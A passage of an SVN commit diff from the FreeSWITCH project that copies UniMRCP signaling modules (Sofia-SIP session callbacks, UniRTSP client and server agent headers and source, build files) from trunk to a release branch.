+static apt_bool_t mrcp_sofia_task_run(apt_task_t *task)
+{
+	mrcp_sofia_agent_t *sofia_agent = apt_task_object_get(task);
+
+	if(sofia_agent->nua) {
+		/* Run event loop */
+		su_root_run(sofia_agent->root);
+		
+		/* Destroy allocated resources */
+		nua_destroy(sofia_agent->nua);
+		sofia_agent->nua = NULL;
+	}
+	su_root_destroy(sofia_agent->root);
+	sofia_agent->root = NULL;
+	su_deinit();
+
+	apt_task_child_terminate(task);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_task_terminate(apt_task_t *task)
+{
+	mrcp_sofia_agent_t *sofia_agent = apt_task_object_get(task);
+	if(sofia_agent->nua) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Send Shutdown Signal to NUA");
+		nua_shutdown(sofia_agent->nua);
+	}
+	return TRUE;
+}
+
+static mrcp_sofia_session_t* mrcp_sofia_session_create(mrcp_sofia_agent_t *sofia_agent, nua_handle_t *nh)
+{
+	mrcp_sofia_session_t *sofia_session;
+	mrcp_session_t* session = sofia_agent->sig_agent->create_server_session(sofia_agent->sig_agent);
+	if(!session) {
+		return NULL;
+	}
+	session->response_vtable = &session_response_vtable;
+	session->event_vtable = NULL;
+
+	sofia_session = apr_palloc(session->pool,sizeof(mrcp_sofia_session_t));
+	sofia_session->home = su_home_new(sizeof(*sofia_session->home));
+	sofia_session->session = session;
+	session->obj = sofia_session;
+	
+	nua_handle_bind(nh, sofia_session);
+	sofia_session->nh = nh;
+	return sofia_session;
+}
+
+static int sip_status_get(mrcp_session_status_e status)
+{
+	switch (status) {
+		case MRCP_SESSION_STATUS_OK:
+			return 200;
+		case MRCP_SESSION_STATUS_NO_SUCH_RESOURCE:
+			return 404;
+		case MRCP_SESSION_STATUS_UNACCEPTABLE_RESOURCE:
+			return 406;
+		case MRCP_SESSION_STATUS_UNAVAILABLE_RESOURCE:
+			return 480;
+		case MRCP_SESSION_STATUS_ERROR:
+			return 500;
+	}
+	return 200;
+}
+
+static apt_bool_t mrcp_sofia_on_session_answer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_sofia_session_t *sofia_session = session->obj;
+	mrcp_sofia_agent_t *sofia_agent = session->signaling_agent->obj;
+	const char *local_sdp_str = NULL;
+	char sdp_str[2048];
+
+	if(!sofia_agent || !sofia_session || !sofia_session->nh) {
+		return FALSE;
+	}
+
+	if(descriptor->status != MRCP_SESSION_STATUS_OK) {
+		int status = sip_status_get(descriptor->status);
+		nua_respond(sofia_session->nh, status, sip_status_phrase(status),
+					SIPTAG_CONTACT_STR(sofia_agent->sip_contact_str),
+					TAG_END());
+		return TRUE;
+	}
+
+	if(sofia_agent->config->origin) {
+		apt_string_set(&descriptor->origin,sofia_agent->config->origin);
+	}
+
+	if(sdp_string_generate_by_mrcp_descriptor(sdp_str,sizeof(sdp_str),descriptor,FALSE) > 0) {
+		local_sdp_str = sdp_str;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Local SDP\n%s", local_sdp_str);
+	}
+
+	nua_respond(sofia_session->nh, SIP_200_OK, 
+				SIPTAG_CONTACT_STR(sofia_agent->sip_contact_str),
+				TAG_IF(local_sdp_str,SOATAG_USER_SDP_STR(local_sdp_str)),
+			    NUTAG_AUTOANSWER(0),
+				TAG_END());
+	
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_on_session_terminate(mrcp_session_t *session)
+{
+	mrcp_sofia_session_t *sofia_session = session->obj;
+	if(sofia_session) {
+		if(sofia_session->nh) {
+			nua_handle_bind(sofia_session->nh, NULL);
+			nua_handle_destroy(sofia_session->nh);
+		}
+		if(sofia_session->home) {
+			su_home_unref(sofia_session->home);
+			sofia_session->home = NULL;
+		}
+		sofia_session->session = NULL;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Session "APT_SID_FMT, MRCP_SESSION_SID(session));
+	mrcp_session_destroy(session);
+	return TRUE;
+}
+
+static void mrcp_sofia_on_call_receive(mrcp_sofia_agent_t   *sofia_agent,
+									   nua_handle_t         *nh,
+									   mrcp_sofia_session_t *sofia_session,
+									   sip_t const          *sip,
+									   tagi_t                tags[])
+{
+	int offer_recv = 0, answer_recv = 0, offer_sent = 0, answer_sent = 0;
+	const char *local_sdp_str = NULL, *remote_sdp_str = NULL;
+	mrcp_session_descriptor_t *descriptor = NULL;
+
+	tl_gets(tags, 
+			NUTAG_OFFER_RECV_REF(offer_recv),
+			NUTAG_ANSWER_RECV_REF(answer_recv),
+			NUTAG_OFFER_SENT_REF(offer_sent),
+			NUTAG_ANSWER_SENT_REF(answer_sent),
+			SOATAG_LOCAL_SDP_STR_REF(local_sdp_str),
+			SOATAG_REMOTE_SDP_STR_REF(remote_sdp_str),
+			TAG_END());
+	
+	if(!sofia_session) {
+		sofia_session = mrcp_sofia_session_create(sofia_agent,nh);
+		if(!sofia_session) {
+			nua_respond(nh, SIP_488_NOT_ACCEPTABLE, TAG_END());
+			return;
+		}
+	}
+
+	if(remote_sdp_str) {
+		sdp_parser_t *parser = NULL;
+		sdp_session_t *sdp = NULL;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remote SDP\n%s", remote_sdp_str);
+
+		parser = sdp_parse(sofia_session->home,remote_sdp_str,(int)strlen(remote_sdp_str),0);
+		sdp = sdp_session(parser);		
+		descriptor = mrcp_descriptor_generate_by_sdp_session(sdp,NULL,sofia_session->session->pool);
+		sdp_parser_free(parser);
+	}
+
+	if(!descriptor) {
+		nua_respond(nh, SIP_400_BAD_REQUEST, TAG_END());
+		return;
+	}
+
+	mrcp_session_offer(sofia_session->session,descriptor);
+}
+
+static void mrcp_sofia_on_call_terminate(mrcp_sofia_agent_t          *sofia_agent,
+									     nua_handle_t                *nh,
+									     mrcp_sofia_session_t        *sofia_session,
+									     sip_t const                 *sip,
+									     tagi_t                       tags[])
+{
+	if(sofia_session) {
+		mrcp_session_terminate_request(sofia_session->session);
+	}
+}
+
+static void mrcp_sofia_on_state_change(mrcp_sofia_agent_t   *sofia_agent,
+									   nua_handle_t         *nh,
+									   mrcp_sofia_session_t *sofia_session,
+									   sip_t const          *sip,
+									   tagi_t                tags[])
+{
+	int ss_state = nua_callstate_init;
+	tl_gets(tags, 
+			NUTAG_CALLSTATE_REF(ss_state),
+			TAG_END()); 
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"SIP Call State [%s]", nua_callstate_name(ss_state));
+
+	switch(ss_state) {
+		case nua_callstate_received:
+			mrcp_sofia_on_call_receive(sofia_agent,nh,sofia_session,sip,tags);
+			break;
+		case nua_callstate_terminated:
+			mrcp_sofia_on_call_terminate(sofia_agent,nh,sofia_session,sip,tags);
+			break;
+	}
+}
+
+static void mrcp_sofia_on_resource_discover(mrcp_sofia_agent_t   *sofia_agent,
+									        nua_handle_t         *nh,
+									        mrcp_sofia_session_t *sofia_session,
+									        sip_t const          *sip,
+									        tagi_t                tags[])
+{
+	char sdp_str[2048];
+	char *local_sdp_str = NULL;
+
+	const char *ip = sofia_agent->config->ext_ip ? 
+		sofia_agent->config->ext_ip : sofia_agent->config->local_ip;
+
+	if(sdp_resource_discovery_string_generate(ip,sofia_agent->config->origin,sdp_str,sizeof(sdp_str)) > 0) {
+		local_sdp_str = sdp_str;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Resource Discovery SDP\n[%s]\n", local_sdp_str);
+	}
+
+	nua_respond(nh, SIP_200_OK, 
+				NUTAG_WITH_CURRENT(sofia_agent->nua),
+				SIPTAG_CONTACT_STR(sofia_agent->sip_contact_str),
+				TAG_IF(local_sdp_str,SOATAG_USER_SDP_STR(local_sdp_str)),
+				TAG_END());
+}
+
+/** This callback will be called by SIP stack to process incoming events */
+static void mrcp_sofia_event_callback( nua_event_t           nua_event,
+									   int                   status,
+									   char const           *phrase,
+									   nua_t                *nua,
+									   mrcp_sofia_agent_t   *sofia_agent,
+									   nua_handle_t         *nh,
+									   mrcp_sofia_session_t *sofia_session,
+									   sip_t const          *sip,
+									   tagi_t                tags[])
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive SIP Event [%s] Status %d %s",nua_event_name(nua_event),status,phrase);
+
+	switch(nua_event) {
+		case nua_i_state:
+			mrcp_sofia_on_state_change(sofia_agent,nh,sofia_session,sip,tags);
+			break;
+		case nua_i_options:
+			mrcp_sofia_on_resource_discover(sofia_agent,nh,sofia_session,sip,tags);
+			break;
+		case nua_r_shutdown:
+			/* break main loop of sofia thread */
+			su_root_break(sofia_agent->root);
+			break;
+		default: 
+			break;
+	}
+}

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp)

Property changes: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp


Name: svn:ignore
   + Makefile.in
Makefile
Debug
*.user
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+MAINTAINERCLEANFILES 	   = Makefile.in
+
+INCLUDES                   = -Iinclude \
+                             -I$(top_srcdir)/libs/mrcp-signaling/include \
+                             -I$(top_srcdir)/libs/mrcp/include \
+                             -I$(top_srcdir)/libs/mrcp/message/include \
+                             -I$(top_srcdir)/libs/mrcp/control/include \
+                             -I$(top_srcdir)/libs/mrcp/resources/include \
+                             -I$(top_srcdir)/libs/mpf/include \
+                             -I$(top_srcdir)/libs/uni-rtsp/include \
+                             -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES) $(UNIMRCP_SOFIA_INCLUDES)
+
+noinst_LTLIBRARIES         = libmrcpunirtsp.la
+
+include_HEADERS            = include/mrcp_unirtsp_sdp.h \
+                             include/mrcp_unirtsp_server_agent.h \
+                             include/mrcp_unirtsp_client_agent.h
+libmrcpunirtsp_la_SOURCES  = src/mrcp_unirtsp_sdp.c \
+                             src/mrcp_unirtsp_server_agent.c \
+                             src/mrcp_unirtsp_client_agent.c
+libmrcpunirtsp_la_LIBADD   = $(top_builddir)/libs/uni-rtsp/libunirtsp.la

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_client_agent.h

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_client_agent.h (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_client_agent.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_client_agent.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_client_agent.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_UNIRTSP_CLIENT_AGENT_H__
+#define __MRCP_UNIRTSP_CLIENT_AGENT_H__
+
+/**
+ * @file mrcp_unirtsp_client_agent.h
+ * @brief Implementation of MRCP Signaling Interface using UniRTSP
+ */ 
+
+#include <apr_network_io.h>
+#include "apt_string.h"
+#include "mrcp_sig_agent.h"
+
+APT_BEGIN_EXTERN_C
+
+/** UniRTSP config declaration */
+typedef struct rtsp_client_config_t rtsp_client_config_t;
+
+/** UniRTSP config */
+struct rtsp_client_config_t {
+	/** Server IP address */
+	char        *server_ip;
+	/** Server port */
+	apr_port_t   server_port;
+	/** Resource location */
+	char        *resource_location;
+	/** SDP origin */
+	char        *origin;
+
+	/** Map of the MRCP resource names */
+	apr_table_t *resource_map;
+
+	/** Number of max RTSP connections */
+	apr_size_t   max_connection_count;
+
+	/** Force destination ip address. Should be used only in case 
+	SDP contains incorrect connection address (local IP address behind NAT) */
+	apt_bool_t force_destination;
+};
+
+/**
+ * Create UniRTSP signaling agent.
+ */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_unirtsp_client_agent_create(rtsp_client_config_t *config, apr_pool_t *pool);
+
+/**
+ * Allocate UniRTSP config.
+ */
+MRCP_DECLARE(rtsp_client_config_t*) mrcp_unirtsp_client_config_alloc(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_UNIRTSP_CLIENT_AGENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_sdp.h

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_sdp.h (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_sdp.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_sdp.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_sdp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_UNIRTSP_SDP_H__
+#define __MRCP_UNIRTSP_SDP_H__
+
+/**
+ * @file mrcp_unirtsp_sdp.h
+ * @brief MRCP RTSP SDP Transformations
+ */ 
+
+#include "mrcp_session_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Generate MRCP descriptor by RTSP request */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_descriptor_generate_by_rtsp_request(
+											const rtsp_message_t *request,
+											const char *force_destination_ip,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool,
+											su_home_t *home);
+
+/** Generate MRCP descriptor by RTSP response */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_descriptor_generate_by_rtsp_response(
+											const rtsp_message_t *request,
+											const rtsp_message_t *response,
+											const char *force_destination_ip,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool,
+											su_home_t *home);
+
+/** Generate RTSP request by MRCP descriptor */
+MRCP_DECLARE(rtsp_message_t*) rtsp_request_generate_by_mrcp_descriptor(
+											const mrcp_session_descriptor_t *descriptor, 
+											const apr_table_t *resource_map, 
+											apr_pool_t *pool);
+/** Generate RTSP response by MRCP descriptor */
+MRCP_DECLARE(rtsp_message_t*) rtsp_response_generate_by_mrcp_descriptor(
+											const rtsp_message_t *request, 
+											const mrcp_session_descriptor_t *descriptor, 
+											const apr_table_t *resource_map, 
+											apr_pool_t *pool);
+
+/** Generate RTSP resource discovery request */
+MRCP_DECLARE(rtsp_message_t*) rtsp_resource_discovery_request_generate(
+											const char *resource_name,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool);
+
+/** Generate resource descovery descriptor by RTSP response */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_resource_discovery_response_generate(
+											const rtsp_message_t *request, 
+											const rtsp_message_t *response,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool,
+											su_home_t *home);
+
+/** Generate RTSP resource discovery response */
+MRCP_DECLARE(rtsp_message_t*) rtsp_resource_discovery_response_generate(
+											const rtsp_message_t *request,
+											const char *ip,
+											const char *origin,
+											apr_pool_t *pool);
+
+
+/** Get MRCP resource name by RTSP resource name */
+MRCP_DECLARE(const char*) mrcp_name_get_by_rtsp_name(const apr_table_t *resource_map, const char *rtsp_name);
+/** Get RTSP resource name by MRCP resource name */
+MRCP_DECLARE(const char*) rtsp_name_get_by_mrcp_name(const apr_table_t *resource_map, const char *mrcp_name);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_UNIRTSP_SDP_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_server_agent.h

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_server_agent.h (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_server_agent.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_server_agent.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/include/mrcp_unirtsp_server_agent.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_UNIRTSP_SERVER_AGENT_H__
+#define __MRCP_UNIRTSP_SERVER_AGENT_H__
+
+/**
+ * @file mrcp_unirtsp_server_agent.h
+ * @brief Implementation of MRCP Signaling Interface using UniRTSP
+ */ 
+
+#include <apr_network_io.h>
+#include "mrcp_sig_agent.h"
+
+APT_BEGIN_EXTERN_C
+
+/** UniRTSP config declaration */
+typedef struct rtsp_server_config_t rtsp_server_config_t;
+
+/** UniRTSP config */
+struct rtsp_server_config_t {
+	/** Local IP address to bind to */
+	char        *local_ip;
+	/** Local port to bind to */
+	apr_port_t   local_port;
+
+	/** Resource location */
+	char        *resource_location;
+	/** SDP origin */
+	char        *origin;
+
+	/** Map of the MRCP resource names */
+	apr_table_t *resource_map;
+
+	/** Number of max RTSP connections */
+	apr_size_t   max_connection_count;
+
+	/** Force destination ip address. Should be used only in case 
+	SDP contains incorrect connection address (local IP address behind NAT) */
+	apt_bool_t   force_destination;
+};
+
+/**
+ * Create UniRTSP signaling agent.
+ */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_unirtsp_server_agent_create(rtsp_server_config_t *config, apr_pool_t *pool);
+
+/**
+ * Allocate UniRTSP config.
+ */
+MRCP_DECLARE(rtsp_server_config_t*) mrcp_unirtsp_server_config_alloc(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_UNIRTSP_SERVER_AGENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/mrcpunirtsp.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/mrcpunirtsp.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/mrcpunirtsp.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/mrcpunirtsp.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/mrcpunirtsp.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpunirtsp"
+	ProjectGUID="{DEB01ACB-D65F-4A62-AED9-58C1054499E9}"
+	RootNamespace="mrcpunirtsp"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpsignaling.vsprops;$(ProjectDir)..\..\build\vsprops\unirtsp.vsprops;$(ProjectDir)..\..\build\vsprops\sofiasip.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpsignaling.vsprops;$(ProjectDir)..\..\build\vsprops\unirtsp.vsprops;$(ProjectDir)..\..\build\vsprops\sofiasip.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_unirtsp_client_agent.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_unirtsp_sdp.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_unirtsp_server_agent.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_unirtsp_client_agent.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_unirtsp_sdp.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_unirtsp_server_agent.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_client_agent.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_client_agent.c (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_client_agent.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_client_agent.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_client_agent.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,437 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_general.h>
+#include <sofia-sip/sdp.h>
+
+#include "mrcp_unirtsp_client_agent.h"
+#include "mrcp_session.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_message.h"
+#include "mrcp_stream.h"
+#include "mrcp_resource_factory.h"
+#include "rtsp_client.h"
+#include "mrcp_unirtsp_sdp.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define UNIRTSP_TASK_NAME "UniRTSP Agent"
+
+typedef struct mrcp_unirtsp_agent_t mrcp_unirtsp_agent_t;
+typedef struct mrcp_unirtsp_session_t mrcp_unirtsp_session_t;
+
+struct mrcp_unirtsp_agent_t {
+	mrcp_sig_agent_t     *sig_agent;
+	rtsp_client_t        *rtsp_client;
+
+	rtsp_client_config_t *config;
+};
+
+struct mrcp_unirtsp_session_t {
+	mrcp_message_t        *mrcp_message;
+	mrcp_session_t        *mrcp_session;
+	rtsp_client_session_t *rtsp_session;
+	su_home_t             *home;
+};
+
+
+static apt_bool_t mrcp_unirtsp_session_offer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_unirtsp_session_terminate(mrcp_session_t *session);
+static apt_bool_t mrcp_unirtsp_session_control(mrcp_session_t *session, mrcp_message_t *message);
+static apt_bool_t mrcp_unirtsp_resource_discover(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+
+static const mrcp_session_request_vtable_t session_request_vtable = {
+	mrcp_unirtsp_session_offer,
+	mrcp_unirtsp_session_terminate,
+	mrcp_unirtsp_session_control,
+	mrcp_unirtsp_resource_discover
+};
+
+static apt_bool_t mrcp_unirtsp_on_session_terminate_response(rtsp_client_t *client, rtsp_client_session_t *session);
+static apt_bool_t mrcp_unirtsp_on_session_terminate_event(rtsp_client_t *client, rtsp_client_session_t *session);
+static apt_bool_t mrcp_unirtsp_on_session_response(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *request, rtsp_message_t *response);
+static apt_bool_t mrcp_unirtsp_on_session_event(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message);
+
+static const rtsp_client_vtable_t session_response_vtable = {
+	mrcp_unirtsp_on_session_terminate_response,
+	mrcp_unirtsp_on_session_terminate_event,
+	mrcp_unirtsp_on_session_response,
+	mrcp_unirtsp_on_session_event
+};
+
+static apt_bool_t mrcp_unirtsp_session_create(mrcp_session_t *session);
+static apt_bool_t rtsp_config_validate(mrcp_unirtsp_agent_t *agent, rtsp_client_config_t *config, apr_pool_t *pool);
+static apt_bool_t mrcp_unirtsp_on_resource_discover(mrcp_unirtsp_agent_t *agent, mrcp_unirtsp_session_t *session, rtsp_message_t *request, rtsp_message_t *response);
+
+
+/** Create UniRTSP Signaling Agent */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_unirtsp_client_agent_create(rtsp_client_config_t *config, apr_pool_t *pool)
+{
+	apt_task_t *task;
+	mrcp_unirtsp_agent_t *agent;
+	agent = apr_palloc(pool,sizeof(mrcp_unirtsp_agent_t));
+	agent->sig_agent = mrcp_signaling_agent_create(agent,MRCP_VERSION_1,pool);
+	agent->sig_agent->create_client_session = mrcp_unirtsp_session_create;
+	agent->config = config;
+
+	if(rtsp_config_validate(agent,config,pool) == FALSE) {
+		return NULL;
+	}
+
+	agent->rtsp_client = rtsp_client_create(config->max_connection_count,
+										agent,&session_response_vtable,pool);
+	if(!agent->rtsp_client) {
+		return NULL;
+	}
+
+	task = rtsp_client_task_get(agent->rtsp_client);
+	apt_task_name_set(task,UNIRTSP_TASK_NAME);
+	agent->sig_agent->task = task;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "UNIRTSP_TASK_NAME" %s:%hu [%d]",
+								config->server_ip,
+								config->server_port,
+								config->max_connection_count);
+	return agent->sig_agent;
+}
+
